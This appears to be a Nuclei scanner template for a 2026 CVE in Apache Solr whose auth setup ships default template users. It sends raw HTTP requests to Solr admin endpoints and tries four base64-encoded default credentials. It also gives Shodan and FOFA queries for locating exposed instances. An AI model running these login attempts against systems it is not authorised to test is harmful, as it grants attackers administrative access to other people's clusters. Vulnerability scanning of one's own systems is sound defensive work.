id: CVE-2026-44825

info:
  name: Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials
  author: pdteam,0x_Akoko
  severity: high
  description: |
    Apache Solr 9.4.0 through 9.10.1 and 10.0.0 contain a hardcoded credentials vulnerability caused by default Basic Authentication template users in bin/solr auth enable, letting remote attackers gain full administrative access. Exploit requires use of default template users.
  impact: |
    Remote attackers can gain full administrative access to the cluster using default credentials.
  remediation: |
    Upgrade to versions 9.11.0, 10.1.0 or later; alternatively, delete template users or change their passwords in security.json.
  reference:
    - https://lists.apache.org/thread/5xg6xr99glocp3zsg9ht2zlbwlrst7ch
    - http://www.openwall.com/lists/oss-security/2026/05/29/6
    - https://github.com/shinthink/solrradar
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44825
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2026-44825
    epss-score: 0.02161
    epss-percentile: 0.80407
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 6
    shodan-query: product:"Apache Solr" port:8983
    fofa-query: app="Apache-Solr" || title="Solr Admin"
  tags: cve,cve2026,apache,solr,default-login,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /solr/admin/info/system?wt=json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - '(status_code == 200 && contains_any(body, "solr-spec-version", "lucene", "solrHome")) || ((status_code == 401 || status_code == 403) && contains_any(to_lower(header), "solr", "basic"))'
        internal: true

  - raw:
      - |
        GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401 || status_code == 403'
        internal: true

  - raw:
      - |
        GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{auth}}

    payloads:

      username:
        - solr
        - admin
        - search
        - index

      auth:
        - c29scjpTb2xyUm9ja3M=
        - YWRtaW46U29sclJvY2tz
        - c2VhcmNoOlNvbHJSb2Nrcw==
        - aW5kZXg6U29sclJvY2tz

    attack: pitchfork

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "responseHeader", "status")'
          - '!contains(body, "Authentication")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - username

      - type: regex
        group: 1
        regex:
          - '"name"\s*:\s*"([a-zA-Z0-9_-]+)"'
# digest: 4a0a00473045022100acbc9cbd17fab3d72a42e5f31801fdb47f04856b68758aa97ff241b266ed76b0022078aae0559caead6eb7b38f9fd3e06fe6b585b1f7538c4e9ca8578a143e2128da:922c64590222798bb761d5b6d8e72950